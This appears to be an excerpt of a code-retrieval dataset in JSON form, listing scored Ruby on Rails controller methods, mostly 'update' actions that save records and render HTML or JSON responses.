"text": "def update\n\t\t\t\trender json: {}, status: 405\n\t\t\tend",
"title": ""
},
{
"docid": "ad95665324538c58fc4fe5ddb84bcb01",
"score": "0.5898592",
"text": "def update\n head :forbidden\n return false\n\n #@resident = Resident.find(params[:id])\n #\n #\n # if @resident.update_attributes(params[:resident])\n # head :no_content\n # else\n # render json: @resident.errors, status: :unprocessable_entity\n # end\n\n end",
"title": ""
},
{
"docid": "fa3f5abbf4a1646a947fb243bae9ec6e",
"score": "0.5890256",
"text": "def update\n @filme = resource_params\n if @filme.save\n render json: @filme\n else\n render json: @filme.errors, status: :unprocessable_entity \n end\n end",
"title": ""
},
{
"docid": "6b488ccf71f0d8b0ae9866024a0fa92f",
"score": "0.5873801",
"text": "def update\n @minister = Minister.find(params[:id])\n\n respond_to do |format|\n if @minister.update_attributes(params[:minister])\n format.html { redirect_to @minister, notice: 'Minister was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @minister.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "36661626263851b35250cdec759fc788",
"score": "0.58727586",
"text": "def update\n respond_to do |format|\n if @memo.update(memo_params)\n format.html { redirect_to @memo, notice: 'Memo was successfully updated.' }\n format.json { render :show, status: :ok, location: @memo }\n else\n format.html { render :edit }\n format.json { render json: @memo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "484fa1207dc8ba1b0099b0347a612a57",
"score": "0.5869772",
"text": "def update\n respond_to do |format|\n if @mymemo.update(mymemo_params)\n format.html { redirect_to @mymemo, notice: 'Mymemo was successfully updated.' }\n format.json { render :show, status: :ok, location: @mymemo }\n else\n format.html { render :edit }\n format.json { render json: @mymemo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "84aa7c8100ba6d60e6ffefa436b4b1dd",
"score": "0.5859695",
"text": "def update\n if params[:claim][:damage_room_overview_1]\n @claim.damage_room_overview_1 = params[:claim][:damage_room_overview_1].read\n end\n if params[:claim][:details_of_damage_1]\n @claim.details_of_damage_1 = params[:claim][:details_of_damage_1].read\n end\n if params[:claim][:damage_room_overview_2]\n @claim.damage_room_overview_2 = params[:claim][:damage_room_overview_2].read\n end\n if params[:claim][:details_of_damage_2]\n @claim.details_of_damage_2 = params[:claim][:details_of_damage_2].read\n end\n respond_to do |format|\n if @claim.update(claim_params)\n format.html { redirect_to @claim, notice: 'Claim was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim }\n else\n format.html { render :edit }\n format.json { render json: @claim.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4ecc68f77020b2f9e83a4cd39b17bb84",
"score": "0.5854258",
"text": "def update\n respond_to do |format|\n if @sudo.update(name: params[:name], description: params[:description],sudo_rule: params[:sudo_rule])\n format.json { render json: @sudo }\n end\n end\n end",
"title": ""
},
{
"docid": "47abb2cddfa1a665018f717cdaaa4164",
"score": "0.585214",
"text": "def update!(params)\n res = @client.put(path, {}, params, \"Content-Type\" => \"application/json\")\n\n @attributes = res.json if res.status == 201\n end",
"title": ""
},
{
"docid": "0b211ab25f2a4c89db137711081af570",
"score": "0.58517206",
"text": "def update\n respond_to do |format|\n if @minutum.update(minutum_params)\n format.html { redirect_to @minutum, notice: 'Minutum was successfully updated.' }\n format.json { render :edit, status: :ok, location: @minutum }\n else\n format.html { render :edit }\n format.json { render json: @minutum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3eba0e4d30a2fd7c20225442ae2d6b74",
"score": "0.58379227",
"text": "def update\n @mural = Mural.find(params[:id])\n\n respond_to do |format|\n if @mural.update_attributes(params[:mural])\n format.html { redirect_to @mural, notice: 'Mural was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mural.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "42e4d81ce0f91ce996dcbc347df2958d",
"score": "0.5833757",
"text": "def update\n @response = self.class.put(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\", :body => \"{'resource_form_name':#{JSON.generate(@opts)}}\")\n end",
"title": ""
},
{
"docid": "3ff92e47fdd3aac30d18aab575666ef8",
"score": "0.5831207",
"text": "def update\n @moresmallmagicinfo = Moresmallmagicinfo.find(params[:id])\n\n respond_to do |format|\n if @moresmallmagicinfo.update_attributes(params[:moresmallmagicinfo])\n format.html { redirect_to @moresmallmagicinfo, notice: 'Moresmallmagicinfo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moresmallmagicinfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "022cd2d85f59e2b9d62c882cff039236",
"score": "0.58287245",
"text": "def update\n authorize! :update, Moon\n @moon = Moon.find(params[:id])\n\n respond_to do |format|\n if @moon.update_attributes(params[:moon])\n format.html { redirect_to @moon, notice: 'Moon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moon.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0a565cef00d6874eb6d07052cd70dfab",
"score": "0.581858",
"text": "def update(json_resource)\n jsonapi_request(:patch, \"#{@route}/#{json_resource['id']}\", \"data\"=> json_resource)\n end",
"title": ""
},
{
"docid": "77ce27989a6eb1263af612ecffa00850",
"score": "0.58146536",
"text": "def update\n update! do |success, failure|\n success.json { render :json => resource }\n end\n end",
"title": ""
},
{
"docid": "8ba023d466b4cf7c5502971873e4b777",
"score": "0.5803669",
"text": "def update\n if @meal.update(meal_params)\n head :no_content, status: 204\n else\n render json: @meal.errors, status: :unprocessable_entity \n end\n\n end",
"title": ""
},
{
"docid": "e429a717565e90a15b721ff2c6c9dd40",
"score": "0.57913244",
"text": "def update\n respond_to do |format|\n if @demand.update(demand_params)\n format.json { render :show, status: :ok, location: @demand }\n else\n format.json { render json: @demand.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cf349d235658fb07601f42aae5c6fb76",
"score": "0.57888204",
"text": "def update\n entry = Entry.find(params[:id])\n\n if entry.update_attributes(params.slice(:amount, :notes, :expenditure_date, :budget_id))\n render :json => entry\n else\n render :json => entry.errors, :status => :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "eeb724fa4f27138b6875d814f5b2d546",
"score": "0.5784664",
"text": "def update\n respond_to do |format|\n if @multum.update(multum_params)\n format.html { redirect_to @multum, notice: \"Multum was successfully updated.\" }\n format.json { render :show, status: :ok, location: @multum }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @multum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9f2a2f982ce93e400da5474f08eccef2",
"score": "0.577858",
"text": "def update\n # if current_user.admin\n # @magazine = Magazine.find_by_id(params[:id])\n # else\n # @magazine = Magazine.where(:user_id => current_user.id).find_by_id(params[:id]) \n # end \n \n # @magazine = Magazine.where(:user_id => current_user.id).find(params[:id])\n\n respond_to do |format|\n if @magazine.update_attributes(params[:magazine])\n format.html { redirect_to magazines_path, notice: 'Publicação atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @magazine.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1627e1dc7dd3969c2664114bff1fdea1",
"score": "0.5777224",
"text": "def update\n\tputs \"update\"\n #TODO: narazie koncepcja filtru jest czysta abstrakcja \n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.json { head :ok }\n else\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "86d2187967a04665dad85119e4ac6853",
"score": "0.57772183",
"text": "def update\n @memopage = Memopage.find(params[:id])\n\n respond_to do |format|\n if @memopage.update_attributes(params[:memopage])\n format.html { redirect_to @memopage, notice: 'Memopage was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @memopage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1da9f66522311822ecfd3d5bc70a7b33",
"score": "0.57769585",
"text": "def update\n @memories = Memories.find(params[:id])\n\n respond_to do |format|\n if @memories.update_attributes(params[:memories])\n flash[:notice] = 'Memories was successfully updated.'\n format.html { redirect_to(@memories) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @memories.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d5eaea298e64625a71a15a970f3b75ed",
"score": "0.57757807",
"text": "def patch *args\n make_request :patch, *args\n end",
"title": ""
},
{
"docid": "966e5c3c7197deb40be2d958fdaaea9b",
"score": "0.57692724",
"text": "def update\n @miscellaneou = Miscellaneou.find(params[:id])\n\n respond_to do |format|\n if @miscellaneou.update_attributes(params[:miscellaneou])\n format.html { redirect_to @miscellaneou.personal_detail, notice: 'Miscellaneou was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @miscellaneou.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c3f376317c7fa6f2c05fde8e57143dff",
"score": "0.57689184",
"text": "def update\n respond_to do |format|\n if @item_meal.update(item_meal_params)\n format.json { head :no_content }\n else\n format.json { render json: @item_meal.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e7f56eb1e62b28a791b8dded85ac5c5",
"score": "0.57667935",
"text": "def update_rest\n @v1_item_usage = V1ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @v1_item_usage.update_attributes(params[:v1_item_usage])\n flash[:notice] = 'V1ItemUsage was successfully updated.'\n format.html { redirect_to(@v1_item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @v1_item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc5197eb888eb0e96bcce8eb26059b2f",
"score": "0.5765959",
"text": "def update\n #get the creature id from the url params\n creature_id = params[:id]\n #use `creature_id` to find the creature in the database and save to variable\n @creature = Creature.find_by_id(creature_id)\n #whitelist params and save them to a variable\n creature_params = params.require(:creature).permit(:name, :description)\n #update the creature based on params\n @creature.update_attributes(creature_params)\n #render JSON of updated creature\n render json: @creature\n end",
"title": ""
},
{
"docid": "8485920dd570a8bbd066fe1ec082a34b",
"score": "0.5764535",
"text": "def update\n @mission = Mission.find(params[:id])\n\n respond_to do |format|\n if @mission.update_attributes(params[:mission])\n format.html { redirect_to @mission, :notice => 'La mission a bien été modifiée' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @mission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cad9e19d2629db4c6a3ea85e4e1f7002",
"score": "0.57638866",
"text": "def update\n @magazine = Magazine.find(params[:id])\n\n respond_to do |format|\n if @magazine.update_attributes(params[:magazine])\n format.html { redirect_to @magazine, notice: 'Magazine was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @magazine.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cad9e19d2629db4c6a3ea85e4e1f7002",
"score": "0.57638866",
"text": "def update\n @magazine = Magazine.find(params[:id])\n\n respond_to do |format|\n if @magazine.update_attributes(params[:magazine])\n format.html { redirect_to @magazine, notice: 'Magazine was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @magazine.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cf97ab9966eb6294f692d6124eb58669",
"score": "0.5760749",
"text": "def update\n @mission = Mission.find(params[:id])\n\n respond_to do |format|\n if @mission.update_attributes(params[:mission])\n format.html { redirect_to @mission}\n format.json { head :no_content }\n else\n format.html { redirect_to @mission, :notice => @mission.errors.full_messages.join(',') }\n format.json { render json: @mission.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0623ea65dbfd2a316ab19dedee0ef9a9",
"score": "0.57569295",
"text": "def update\n respond_to do |format|\n if @mens.update(mens_params)\n format.html { redirect_to @mens, notice: 'Mens was successfully updated.' }\n format.json { render :show, status: :ok, location: @mens }\n else\n format.html { render :edit }\n format.json { render json: @mens.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ca2a6aae972aff3afdb2ca8662ad5f7b",
"score": "0.5756673",
"text": "def update\n @policial = Policial.find(params[:id])\n\n respond_to do |format|\n if @policial.update_attributes(params[:policial])\n format.html { redirect_to @policial, notice: 'Policial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @policial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "294df408b5c193496e58743ae219243f",
"score": "0.57544327",
"text": "def update\n @municipality = Municipality.find(params[:id])\n respond_to do |format|\n if @municipality.update(municipality_params)\n format.json { render json: @municipality, status: :ok }\n else\n format.json { render json: @municipality.errors, status: :unprocessable_entity }\n end\n end\nend",
"title": ""
},
{
"docid": "8b7277d622fa1d0db32cc924c2f7865a",
"score": "0.57517356",
"text": "def update\n respond_to do |format|\n if @mansion.update(mansion_params)\n format.html { redirect_to @mansion, notice: 'Mansion was successfully updated.' }\n format.json { render :show, status: :ok, location: @mansion }\n else\n format.html { render :edit }\n format.json { render json: @mansion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96dc1a1a024b9936787a5031d903b5a9",
"score": "0.5749378",
"text": "def update\n # go to params hash and get the id\n the_id = params['id']\n\n # grab a single camp based on the id\n camp = Camp.find_by(id: the_id)\n\n # update it\n if camp.update!(\n name: params[:name],\n email: params[:email],\n password: params[:password],\n phone_number: params[:phone_number],\n street_address: params[:street_address],\n secondary_address: params[:secondary_address],\n city: params[:city],\n state: params[:state],\n zip_code: params[:zip_code],\n photo: params[:photo],\n category: params[:category],\n sub_category: params[:sub_category])\n render json: camp.as_json\n else\n render json: {errors: camp.errors.full_messages}\n end\n end",
"title": ""
},
{
"docid": "22e873d9c8c3896c5ea700fc83bd99bd",
"score": "0.5747738",
"text": "def update\n respond_to do |format|\n if @mural.update(mural_params)\n format.html { redirect_to @mural, notice: t(:update_notice) }\n format.json { render :show, status: :ok, location: @mural }\n else\n format.html { render :edit }\n format.json { render json: @mural.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ff027addeb49e41f52e7d0a7450d5d2",
"score": "0.57402766",
"text": "def update\n @material.update_attributes(material_params)\n respond_with @material\n end",
"title": ""
},
{
"docid": "9f62e3d3d013eb23fc4e362ca0f418cc",
"score": "0.5737745",
"text": "def update\n @mooc = Mooc.find(params[:id])\n\n respond_to do |format|\n if @mooc.update_attributes(params[:mooc])\n format.html { redirect_to moocs_path, notice: 'Mooc was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mooc.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cf1b4fddd269b30b180345c5c8b5fb67",
"score": "0.57357633",
"text": "def update_info_monster(monster_id, ferocity)\n RESTful.put(\"#{URL_MICROSERVICE_MONSTER}/monster/#{monster_id}\", {'ferocity' => ferocity}.to_json, 'application/json')\n end",
"title": ""
},
{
"docid": "8b260b099048892c2cc3a3bf7961b0a6",
"score": "0.5731544",
"text": "def update\n respond_to do |format|\n if @memory.update(memory_params)\n format.html { redirect_to @memory, notice: 'Memory was successfully updated.' }\n format.json { render :show, status: :ok, location: @memory }\n else\n format.html { render :edit }\n format.json { render json: @memory.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dfeb598e3ad09f007b8adc414344be8a",
"score": "0.5731097",
"text": "def set_memorial\n @memorial = Memorial.find(params[:id])\n end",
"title": ""
},
{
"docid": "dfeb598e3ad09f007b8adc414344be8a",
"score": "0.5731097",
"text": "def set_memorial\n @memorial = Memorial.find(params[:id])\n end",
"title": ""
},
{
"docid": "dfeb598e3ad09f007b8adc414344be8a",
"score": "0.5731097",
"text": "def set_memorial\n @memorial = Memorial.find(params[:id])\n end",
"title": ""
},
{
"docid": "fecd5e89c1c0ff59cecfccd336ef53e9",
"score": "0.5727428",
"text": "def update\n respond_to do |format|\n if @resource_metadatum.update(resource_metadatum_params)\n format.html { redirect_to @resource_metadatum, notice: 'Resource metadatum was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource_metadatum }\n else\n format.html { render :edit }\n format.json { render json: @resource_metadatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "143a249d72765ff982b730cbc5a5b84f",
"score": "0.57233644",
"text": "def update\n respond_to do |format|\n if @minister.update(minister_params)\n format.html { redirect_to @minister, notice: 'Minister was successfully updated.' }\n format.json { render :show, status: :ok, location: @minister }\n else\n format.html { render :edit }\n format.json { render json: @minister.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66f77a140d4869b3a8bc39cae5bab9ba",
"score": "0.5714878",
"text": "def update\n respond_to do |format|\n if @muscle_mass.update(muscle_mass_params)\n format.html { redirect_to @muscle_mass, notice: 'Muscle mass was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @muscle_mass.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "924b455553737b02142e7e5dac107301",
"score": "0.5710115",
"text": "def update\n respond_to do |format|\n if @memorizationpart.update(memorizationpart_params)\n format.html { redirect_to @memorizationpart, notice: 'Memorizationpart was successfully updated.' }\n format.json { render :show, status: :ok, location: @memorizationpart }\n else\n format.html { render :edit }\n format.json { render json: @memorizationpart.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6db7ceab62d64745290e4784ac71441b",
"score": "0.5709791",
"text": "def update\n @mint = Mint.find(params[:id])\n\n respond_to do |format|\n if @mint.update_attributes(params[:mint])\n format.html { redirect_to @mint, :notice => 'Mint was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @mint.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3ab9314827068379831b90b6444834e",
"score": "0.57084095",
"text": "def update\n @item = Item.find(params[:id])\n @item.update_attributes(:part1=>params[:part1],:part2=>params[:part2])\n @item.save\n render :json => @item\n end",
"title": ""
},
{
"docid": "7e00066792a5f60feb7a309d2e950066",
"score": "0.5707689",
"text": "def update\n respond_to do |format|\n if @mom.update(mom_params)\n format.html { redirect_to mom_url(@mom), notice: \"Mom was successfully updated.\" }\n format.json { render :show, status: :ok, location: @mom }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @mom.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c868d3144b0fcb79226f3382e7278a6d",
"score": "0.5705732",
"text": "def update\n @pensum = Pensum.find(params[:id])\n\n respond_to do |format|\n if @pensum.update_attributes(params[:pensum])\n format.html { redirect_to @pensum, notice: 'Pensum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pensum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cb4af94a379233d2f32d35bd09e8726e",
"score": "0.57028687",
"text": "def update\n if @metum.update(metum_params)\n render :show, status: :ok, location: @metum\n else\n render json: @metum.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "e003e96febb761736d4f04acd180e697",
"score": "0.5702845",
"text": "def update\n @immuniasation = Immuniasation.find(params[:id])\n\n respond_to do |format|\n if @immuniasation.update_attributes(params[:immuniasation])\n flash[:notice] = 'Immuniasation was successfully updated.'\n format.html { redirect_to(@immuniasation) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @immuniasation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66c19c05e2e2b5c0b8d57cc76da21d81",
"score": "0.5702262",
"text": "def update\n @crewmanship = @mission.crewmanships.find(params[:id])\n\n respond_to do |format|\n if @crewmanship.update_attributes(params[:crewmanship])\n format.html { redirect_to mission_crewmanship_path, notice: 'Crewmanship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @crewmanship.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4699a37ef3c88fd92e7c1aeec99fa1bf",
"score": "0.5700585",
"text": "def update\n respond_to do |format|\n if @mission.update(mission_params)\n format.html { redirect_to @mission, notice: 'Mission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mission.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4699a37ef3c88fd92e7c1aeec99fa1bf",
"score": "0.5700585",
"text": "def update\n respond_to do |format|\n if @mission.update(mission_params)\n format.html { redirect_to @mission, notice: 'Mission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mission.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1360a948fe18c424348395bf9738b840",
"score": "0.5696937",
"text": "def update\n @nomenclature = Nomenclature.find(params[:id])\n\n respond_to do |format|\n if @nomenclature.update_attributes(params[:nomenclature])\n format.html { redirect_to @nomenclature, notice: 'Nomenclature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @nomenclature.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d63f93c2fac346c0bb26fbddf5ee982",
"score": "0.56921947",
"text": "def update\n # respond_to do |format|\n # if @historial.update(historial_params)\n # format.html { redirect_to @historial, notice: 'Historial was successfully updated.' }\n # format.json { render :show, status: :ok, location: @historial }\n # else\n # format.html { render :edit }\n # format.json { render json: @historial.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"title": ""
},
{
"docid": "368481e492dd7fa5d89f60c6a160c603",
"score": "0.56891555",
"text": "def update\n respond_to do |format|\n if @nomenclature.update(nomenclature_params)\n format.html { redirect_to @nomenclature, notice: 'Изменения успешно внесены.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @nomenclature.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "752774635f7453c41009411e7d558d95",
"score": "0.5688057",
"text": "def update\n respond_to do |format|\n if @materiel.update(materiel_params)\n format.html { redirect_to management_materiels_path }\n format.json { render :json => @materiel.to_json(include: :room), status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @materiel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e6d211f5667bbff9fb1a8323a5053e27",
"score": "0.5684872",
"text": "def update\n @moresmallmob = Moresmallmob.find(params[:id])\n\n respond_to do |format|\n if @moresmallmob.update_attributes(params[:moresmallmob])\n format.html { redirect_to @moresmallmob, notice: 'Moresmallmob was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moresmallmob.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c7e4075915ee167bf3f11da6b2f3e7d0",
"score": "0.56816983",
"text": "def update\n respond_to do |format|\n if @ministry.update(ministry_params)\n format.html { redirect_to @ministry, notice: 'Ministry was successfully updated.' }\n format.json { render :show, status: :ok, location: @ministry }\n else\n format.html { render :edit }\n format.json { render json: @ministry.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3efb729c7324fbf062b2f6e6b6c8abf6",
"score": "0.56774455",
"text": "def update\n respond_to do |format|\n if @micropo.update(micropo_params)\n format.html { redirect_to @micropo, notice: 'Micropo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @micropo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0f7735dba65d836fd7e86579fdd6fddd",
"score": "0.5677157",
"text": "def update\n @mesa = Mesa.find(params[:id])\n\n respond_to do |format|\n if @mesa.update_attributes(params[:mesa])\n format.html { redirect_to mesas_path, notice: 'Mesa was successfully updated.' }\n format.json { head :no_content }\n\n\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mesa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7f7c16b9e14f1352bb07fd27f83679a7",
"score": "0.5675922",
"text": "def patch(path, params: {}, headers: {})\n request_json :patch, path, params, headers\n end",
"title": ""
},
{
"docid": "efbb42d9c2db04a110b90f0961e0847b",
"score": "0.5672086",
"text": "def update\n respond_to do |format|\n if @minuti_detail.update(minuti_detail_params)\n format.html { redirect_to @minuti_detail, notice: 'Minuti detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @minuti_detail }\n else\n format.html { render :edit }\n format.json { render json: @minuti_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "3ca2cedd846f7df9ed85a9ed76c8b695",
"score": "0.0",
"text": "def set_snooper\n @snooper = Snooper.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, 